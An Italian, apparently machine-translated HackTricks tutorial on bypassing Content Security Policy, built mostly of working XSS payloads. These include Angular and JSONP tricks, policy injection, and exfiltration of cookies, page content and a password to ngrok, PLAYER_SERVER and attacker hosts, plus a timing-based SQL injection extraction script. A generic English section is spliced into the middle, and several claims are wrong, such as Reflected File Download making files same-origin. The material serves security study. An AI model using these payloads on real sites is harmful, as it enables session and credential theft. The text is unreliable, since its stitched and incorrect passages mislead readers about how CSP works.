.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Bypass di Content Security Policy (CSP)
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!
Insight sull'hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie sull'hacking in tempo reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime notizie
Rimani informato sul lancio delle nuove bug bounty e sugli aggiornamenti cruciali delle piattaforme
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Cos'è CSP
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a proteggere da attacchi come cross-site scripting (XSS). Funziona definendo e dettagliando percorsi e fonti da cui il browser può caricare in modo sicuro le risorse. Queste risorse comprendono una serie di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa attraverso funzioni come eval
, setTimeout
o setInterval
.
L'implementazione di CSP avviene tramite intestazioni di risposta o incorporando elementi meta nella pagina HTML. Seguendo questa policy, i browser applicano attivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
- Implementato tramite intestazione di risposta:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementato tramite meta tag:
<meta http-equiv="Content-Security-Policy" content="...">
La Content Security Policy (CSP) può essere implementata all'interno di una pagina web tramite l'utilizzo di un meta tag. Il meta tag http-equiv
viene utilizzato per specificare l'header HTTP da emulare. Nel caso della CSP, l'header emulato è Content-Security-Policy
. Il valore dell'attributo content
rappresenta la direttiva della CSP che si desidera impostare.
- Esempio:
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
In questo esempio, la CSP viene impostata per consentire solo il caricamento di risorse dalla stessa origine ('self'
).
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Intestazioni
CSP può essere applicato o monitorato utilizzando queste intestazioni:
Content-Security-Policy
: Applica il CSP; il browser blocca qualsiasi violazione.Content-Security-Policy-Report-Only
: Utilizzato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.
Definizione delle risorse
CSP limita le origini per il caricamento di contenuti attivi e passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di eval()
. Un esempio di policy è:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direttive
- script-src: Consente origini specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
- default-src: Imposta una policy predefinita per il recupero di risorse quando le direttive di recupero specifiche sono assenti.
- child-src: Specifica le risorse consentite per i web worker e i contenuti dei frame incorporati.
- connect-src: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
- frame-src: Limita gli URL per i frame.
- frame-ancestors: Specifica quali origini possono incorporare la pagina corrente, applicabile agli elementi come
<frame>
,<iframe>
,<object>
,<embed>
e<applet>
. - img-src: Definisce le origini consentite per le immagini.
- font-src: Specifica le origini valide per i font caricati tramite
@font-face
. - manifest-src: Definisce le origini consentite dei file di manifesto dell'applicazione.
- media-src: Definisce le origini consentite per il caricamento di oggetti multimediali.
- object-src: Definisce le origini consentite per gli elementi
<object>
,<embed>
e<applet>
. - base-uri: Specifica gli URL consentiti per il caricamento tramite elementi
<base>
. - form-action: Elenca i punti di accesso validi per l'invio di moduli.
- plugin-types: Limita i tipi MIME che una pagina può richiamare.
- upgrade-insecure-requests: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
- sandbox: Applica restrizioni simili all'attributo sandbox di un
<iframe>
. - report-to: Specifica un gruppo a cui verrà inviato un rapporto se la policy viene violata.
- worker-src: Specifica le origini valide per gli script Worker, SharedWorker o ServiceWorker.
- prefetch-src: Specifica le origini valide per le risorse che verranno recuperate o pre-recuperate.
- navigate-to: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)
Origini
*
: Consente tutti gli URL tranne quelli con gli schemidata:
,blob:
,filesystem:
.'self'
: Consente il caricamento dallo stesso dominio.'data'
: Consente il caricamento di risorse tramite lo schema data (ad esempio, immagini codificate in Base64).'none'
: Blocca il caricamento da qualsiasi origine.'unsafe-eval'
: Consente l'uso dieval()
e metodi simili, non consigliato per motivi di sicurezza.'unsafe-hashes'
: Abilita gestori di eventi inline specifici.'unsafe-inline'
: Consente l'uso di risorse inline come<script>
o<style>
inline, non consigliato per motivi di sicurezza.'nonce'
: Una whitelist per script inline specifici utilizzando un nonce crittografico (numero utilizzato una sola volta).'sha256-<hash>'
: Elenca gli script con un hash sha256 specifico.'strict-dynamic'
: Consente il caricamento di script da qualsiasi origine se è stato inserito in whitelist da un nonce o hash.'host'
: Specifica un host specifico, comeexample.com
.https:
: Limita gli URL a quelli che utilizzano HTTPS.blob:
: Consente il caricamento di risorse da URL Blob (ad esempio, URL Blob creati tramite JavaScript).filesystem:
: Consente il caricamento di risorse dal filesystem.'report-sample'
: Include un campione del codice violato nel rapporto di violazione (utile per il debug).'strict-origin'
: Simile a 'self', ma garantisce che il livello di sicurezza del protocollo delle origini corrisponda al documento (solo le origini sicure possono caricare risorse da origini sicure).'strict-origin-when-cross-origin'
: Invia URL completi quando si effettuano richieste dello stesso dominio, ma invia solo l'origine quando la richiesta è cross-origin.'unsafe-allow-redirects'
: Consente il caricamento di risorse che verranno immediatamente reindirizzate verso un'altra risorsa. Non consigliato in quanto indebolisce la sicurezza.
Regole CSP non sicure
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Payload di lavoro: "/><script>alert(1);</script>
self + 'unsafe-inline' tramite Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Payload funzionante:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Se riesci in qualche modo a far sì che un codice JS consentito crei un nuovo tag script nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il nuovo tag script sarà consentito ad essere eseguito.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Payload funzionante:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Mancanza di object-src e default-src
{% hint style="danger" %} Sembra che questo non funzioni più {% endhint %}
Content-Security-Policy: script-src 'self' ;
Payload funzionanti:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Caricamento file + 'self'
La direttiva 'self'
all'interno di una Content Security Policy (CSP) specifica che solo le risorse provenienti dallo stesso dominio del sito web possono essere caricate. Tuttavia, è possibile sfruttare una vulnerabilità nella configurazione della CSP per bypassare questa restrizione e caricare file da origini esterne.
Tecnica di bypass
Per bypassare la restrizione di 'self' nella CSP e caricare file da origini esterne, è possibile utilizzare una delle seguenti tecniche:
-
Subdomain takeover: Se il dominio del sito web ha un sottodominio non utilizzato o scaduto, è possibile registrare quel sottodominio e caricare i file da lì. In questo modo, i file saranno considerati come provenienti dallo stesso dominio del sito web e saranno consentiti dalla CSP.
-
Reflected File Download (RFD): Questa tecnica sfrutta una vulnerabilità di riflessione nel sito web per convincere l'utente a scaricare un file da un'origine esterna. Poiché il file viene scaricato dall'utente stesso, sarà considerato come proveniente dallo stesso dominio del sito web e sarà consentito dalla CSP.
Esempio di bypass
Supponiamo che il sito web abbia la seguente CSP:
Content-Security-Policy: default-src 'self';
Per bypassare la restrizione di 'self' e caricare un file da un'origine esterna, è possibile utilizzare la tecnica di subdomain takeover. Se il sottodominio subdomain.example.com
non è utilizzato o scaduto, è possibile registrarne il controllo e caricare il file da lì. In questo caso, il file sarà considerato come proveniente dallo stesso dominio del sito web e sarà consentito dalla CSP.
Content-Security-Policy: default-src 'self' subdomain.example.com;
Conclusioni
La direttiva 'self'
all'interno di una CSP è progettata per limitare il caricamento di file solo da origini interne al dominio del sito web. Tuttavia, è possibile sfruttare vulnerabilità come il subdomain takeover o il RFD per bypassare questa restrizione e caricare file da origini esterne. È importante che gli sviluppatori configurino correttamente la CSP e monitorino costantemente eventuali vulnerabilità che potrebbero consentire il bypass della restrizione di 'self'.
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Se è possibile caricare un file JS, è possibile bypassare questa CSP:
Payload funzionante:
"/>'><script src="/uploads/picture.png.js"></script>
Tuttavia, è molto probabile che il server stia validando il file caricato e consenta solo di caricare determinati tipi di file.
Inoltre, anche se riuscissi a caricare un codice JS all'interno di un file utilizzando un'estensione accettata dal server (come ad esempio: script.png), questo non sarebbe sufficiente perché alcuni server come Apache selezionano il tipo MIME del file in base all'estensione e i browser come Chrome rifiuteranno di eseguire il codice Javascript all'interno di qualcosa che dovrebbe essere un'immagine. "Fortunatamente", ci sono degli errori. Ad esempio, da un CTF ho imparato che Apache non riconosce l'estensione .wave, quindi non la serve con un tipo MIME come audio/*.
Da qui, se trovi una XSS e un caricamento di file e riesci a trovare un'estensione interpretata in modo errato, puoi provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, puoi creare un poliglotta (alcuni esempi di poliglotti qui).
Endpoint di terze parti + ('unsafe-eval')
{% hint style="warning" %}
Per alcuni dei seguenti payload, unsafe-eval
non è nemmeno necessario.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Carica una versione vulnerabile di Angular ed esegui codice JavaScript arbitrario:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads utilizzando Angular + una libreria con funzioni che restituiscono l'oggetto window
(leggi questo post):
{% hint style="info" %}
Il post mostra che è possibile caricare tutte le librerie da cdn.cloudflare.com
(o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e verificare quali funzioni delle quali librerie restituiscono l'oggetto window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Abuso del codice JS di Google reCAPTCHA
Secondo questo articolo CTF è possibile abusare di https://www.google.com/recaptcha/ all'interno di una CSP per eseguire codice JS arbitrario eludendo la CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Endpoint di terze parti + JSONP
Un'altra tecnica per bypassare la Content Security Policy (CSP) è utilizzare endpoint di terze parti insieme a JSONP (JSON with Padding). JSONP è una tecnica che consente di ottenere dati da un dominio diverso utilizzando l'elemento <script>
del browser.
La CSP di solito blocca le richieste a domini esterni, ma con JSONP è possibile aggirare questa restrizione. Per farlo, è necessario trovare un endpoint di terze parti che restituisca i dati richiesti in formato JSONP.
Per utilizzare JSONP, è necessario creare una funzione JavaScript che gestisca i dati restituiti dall'endpoint di terze parti. Questa funzione viene quindi passata come parametro nell'URL della richiesta al dominio esterno.
Quando il server esterno riceve la richiesta, restituisce i dati richiesti avvolgendoli nella funzione JavaScript specificata. Il browser interpreta quindi la risposta come un normale script JavaScript e la funzione specificata viene eseguita, consentendo di accedere ai dati restituiti.
Questa tecnica può essere utilizzata per aggirare le restrizioni imposte dalla CSP e ottenere dati da domini esterni non autorizzati. Tuttavia, è importante notare che JSONP presenta alcuni rischi di sicurezza, come l'esposizione a attacchi di tipo Cross-Site Scripting (XSS). Pertanto, è consigliabile utilizzare questa tecnica solo se si comprendono completamente i rischi e si è in grado di mitigarli adeguatamente.
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenari come questo, in cui script-src
è impostato su self
e su un dominio particolare che è nella whitelist, possono essere bypassati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee contiene endpoint JSONP pronti all'uso per aggirare la CSP di diversi siti web.
La stessa vulnerabilità si verifica se il punto finale attendibile contiene un reindirizzamento aperto perché se il punto finale iniziale è attendibile, anche i reindirizzamenti sono attendibili.
Abusi di terze parti
Come descritto nel seguente post, ci sono molti domini di terze parti che potrebbero essere consentiti in qualche parte della CSP e possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcune di queste terze parti sono:
Entità | Dominio consentito | Funzionalità |
---|---|---|
www.facebook.com, *.facebook.com | Esfiltrazione | |
Hotjar | *.hotjar.com, ask.hotjar.io | Esfiltrazione |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Esecuzione |
Amazon CloudFront | *.cloudfront.net | Esfiltrazione, Esecuzione |
Amazon AWS | *.amazonaws.com | Esfiltrazione, Esecuzione |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Esfiltrazione, Esecuzione |
Salesforce Heroku | *.herokuapp.com | Esfiltrazione, Esecuzione |
Google Firebase | *.firebaseapp.com | Esfiltrazione, Esecuzione |
Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, potresti avere la possibilità di aggirare la CSP registrandoti al servizio di terze parti e, sia esfiltrare dati verso quel servizio, sia eseguire codice.
Ad esempio, se trovi la seguente CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
Bypassing Content Security Policy (CSP)
Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. It allows web developers to define a set of policies that restrict the types of content that can be loaded and executed on a web page.
However, CSP can sometimes be bypassed by attackers to execute malicious code on a vulnerable web application. In this section, we will explore some techniques that can be used to bypass CSP.
1. Inline Script Execution
CSP typically restricts the execution of inline scripts, which are scripts embedded directly within HTML tags. However, there are several ways to bypass this restriction:
-
Event Handlers: By using event handlers such as
onload
oronclick
, it is possible to execute arbitrary JavaScript code inline. -
Data URIs: Data URIs allow embedding small data files directly within the HTML document. By encoding the JavaScript code as a data URI, it can be executed inline.
-
javascript:
URLs: By using thejavascript:
protocol in thehref
attribute of an anchor tag, it is possible to execute JavaScript code inline.
2. External Script Execution
CSP also restricts the loading and execution of external scripts. However, there are techniques that can be used to bypass this restriction:
-
Subdomain Takeover: If a subdomain is vulnerable to subdomain takeover, it is possible to host a malicious JavaScript file on that subdomain and bypass CSP.
-
Whitelisted Domains: If the CSP policy allows loading scripts from specific domains, it may be possible to find a vulnerable subdomain or subdirectory on one of those domains and host a malicious script there.
-
CDN Bypass: If the web application uses a Content Delivery Network (CDN) to serve scripts, it may be possible to bypass CSP by directly accessing the origin server where the scripts are hosted.
3. Nonce-based Bypass
CSP allows web developers to specify a nonce (number used once) for inline scripts and external scripts. The nonce is a random value that is included in the CSP header and must also be included in the script
tag. This ensures that only scripts with the correct nonce can be executed.
However, if the web application does not properly validate the nonce, it may be possible to bypass CSP by injecting a script tag with an arbitrary nonce value.
4. Unsafe Inline Bypass
CSP allows web developers to specify a policy that allows certain types of inline content, such as inline scripts or inline styles. However, allowing unsafe inline content can introduce security risks.
If a web application allows unsafe inline content, it may be possible to bypass CSP by injecting malicious code into the allowed inline content.
Conclusion
Content Security Policy (CSP) is an important security mechanism that helps protect web applications against cross-site scripting (XSS) attacks. However, it is not foolproof and can be bypassed by attackers using various techniques.
Web developers should carefully configure and test their CSP policies to ensure that they provide effective protection against XSS attacks. Additionally, regular security testing and vulnerability scanning can help identify and mitigate any potential CSP bypass vulnerabilities.
Content-Security-Policy: connect-src www.facebook.com;
Dovresti essere in grado di esfiltrare dati, allo stesso modo in cui è sempre stato fatto con Google Analytics/Google Tag Manager. In questo caso, segui questi passaggi generali:
- Crea un account sviluppatore di Facebook qui.
- Crea una nuova app "Facebook Login" e seleziona "Sito web".
- Vai su "Impostazioni -> Base" e ottieni il tuo "ID app".
- Nel sito di destinazione da cui desideri esfiltrare i dati, puoi esfiltrare i dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
- Vai al "Gestore eventi" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe essere trovato in un URL simile a questo: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Seleziona la scheda "Eventi di test" per vedere gli eventi inviati dal sito web "tuo".
Quindi, sul lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook in modo che punti all'app-id dell'account sviluppatore di Facebook dell'attaccante e emetta un evento personalizzato come questo:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Per gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Fai riferimento al precedente post sul blog per ulteriori spiegazioni sugli altri abusi di terze parti.
Bypass tramite RPO (Relative Path Overwrite)
Oltre alla precedente redirezione per aggirare le restrizioni del percorso, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
Ad esempio, se CSP consente il percorso https://example.com/scripts/react/
, può essere aggirato nel seguente modo:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Il browser caricherà infine https://example.com/scripts/angular/angular.js
.
Questo funziona perché per il browser, stai caricando un file chiamato ..%2fangular%2fangular.js
situato sotto https://example.com/scripts/react/
, che è conforme a CSP.
Quindi, lo decodificheranno, richiedendo effettivamente https://example.com/scripts/react/../angular/angular.js
, che è equivalente a https://example.com/scripts/angular/angular.js
.
Sfruttando questa incongruenza nell'interpretazione dell'URL tra il browser e il server, è possibile aggirare le regole del percorso.
La soluzione consiste nel non trattare %2f
come /
sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
Esempio online: https://jsbin.com/werevijewa/edit?html,output
Esecuzione di script JS tramite iframe
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
mancanza di base-uri
Se la direttiva base-uri è assente, è possibile sfruttarla per eseguire un'iniezione di markup sospeso.
Inoltre, se la pagina sta caricando uno script utilizzando un percorso relativo (come <script src="/js/app.js">
) utilizzando un Nonce, è possibile sfruttare il tag base per farlo caricare lo script dal proprio server ottenendo un XSS.
Se la pagina vulnerabile viene caricata con httpS, assicurarsi di utilizzare un URL httpS nella base.
<base href="https://www.attacker.com/">
Eventi AngularJS
Una specifica politica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico $event
, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto $event
può essere sfruttato per aggirare il CSP. In particolare, in Chrome, l'oggetto $event/event
possiede un attributo path
, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto window
posizionato invariabilmente alla fine. Questa struttura è fondamentale per le tattiche di escape del sandbox.
Indirizzando questo array al filtro orderBy
, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto window
) per attivare una funzione globale come alert()
. Il frammento di codice dimostrativo riportato di seguito illustra questo processo:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Questo frammento evidenzia l'utilizzo della direttiva ng-focus
per innescare l'evento, utilizzando $event.path|orderBy
per manipolare l'array path
e sfruttando l'oggetto window
per eseguire la funzione alert()
, rivelando così document.cookie
.
Trova altri bypass di Angular su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS e dominio in whitelist
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Una politica CSP che elenca i domini per il caricamento degli script in un'applicazione Angular JS può essere bypassata attraverso l'invocazione di funzioni di callback e determinate classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile in questo repository git.
Payload funzionanti:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Altri endpoint di esecuzione arbitraria JSONP possono essere trovati qui (alcuni di essi sono stati eliminati o corretti)
Bypass tramite Redirection
Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa non consentita, fallirà comunque.
Tuttavia, secondo la descrizione nella specificazione CSP 4.2.2.3. Paths and Redirects, se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.
Ecco un esempio:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Se CSP è impostato su https://www.google.com/a/b/c/d
, poiché viene considerato il percorso, sia gli script /test
che /a/test
saranno bloccati da CSP.
Tuttavia, il finale http://localhost:5555/301
verrà reindirizzato lato server a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Poiché si tratta di un reindirizzamento, il percorso non viene considerato e lo script può essere caricato, bypassando così la restrizione del percorso.
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque bypassato.
Pertanto, la soluzione migliore è assicurarsi che il sito web non abbia vulnerabilità di reindirizzamento aperte e che non ci siano domini che possono essere sfruttati nelle regole CSP.
Bypassare CSP con markup sospeso
Leggi come qui.
'unsafe-inline'; img-src *; tramite XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
significa che è possibile eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e img-src *
significa che è possibile utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
È possibile aggirare questa CSP esfiltrando i dati tramite immagini (in questa occasione, XSS sfrutta un CSRF in cui una pagina accessibile dal bot contiene un SQLi e estrae il flag tramite un'immagine):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
Da: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
È anche possibile sfruttare questa configurazione per caricare codice JavaScript inserito all'interno di un'immagine. Ad esempio, se la pagina consente il caricamento di immagini da Twitter, è possibile creare un'immagine speciale, caricarla su Twitter e sfruttare l'opzione "unsafe-inline" per eseguire un codice JS (come un normale XSS) che caricherà l'immagine, estrarrà il JS da essa e lo eseguirà: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Con Service Workers
La funzione importScripts
dei service workers non è limitata dal CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Iniezione di Policy
Ricerca: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Se un parametro inviato da te viene incollato all'interno della dichiarazione della policy, è possibile modificare la policy in modo che diventi inefficace. È possibile consentire lo script 'unsafe-inline' con uno qualsiasi di questi bypass:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Questa direttiva sovrascriverà le direttive script-src esistenti.
Puoi trovare un esempio qui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
In Edge è molto più semplice. Se puoi aggiungere nel CSP solo questo: ;_
Edge ignorerà l'intera policy.
Esempio: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; tramite XSS (iframe) - Attacco temporizzato
Notare l'assenza della direttiva 'unsafe-inline'
Questa volta puoi far caricare alla vittima una pagina sotto il tuo controllo tramite XSS con un <iframe>
. Questa volta farai in modo che la vittima acceda alla pagina da cui desideri estrarre informazioni (CSRF). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi controllare il tempo necessario per il caricamento della pagina, puoi estrarre le informazioni di cui hai bisogno.
Questa volta verrà estratta una bandiera, ogni volta che viene indovinato correttamente un carattere tramite SQLi, la risposta richiederà più tempo a causa della funzione di sleep. Quindi, sarai in grado di estrarre la bandiera:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Attraverso Bookmarklets
Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante convince l'utente a trascinare e rilasciare un link sul bookmarklet del browser. Questo bookmarklet conterrà del codice javascript malevolo che, quando viene trascinato e rilasciato o cliccato, viene eseguito nel contesto della finestra web corrente, bypassando CSP e consentendo di rubare informazioni sensibili come cookie o token.
Per ulteriori informazioni, consulta il rapporto originale qui.
Bypass di CSP mediante restrizione di CSP
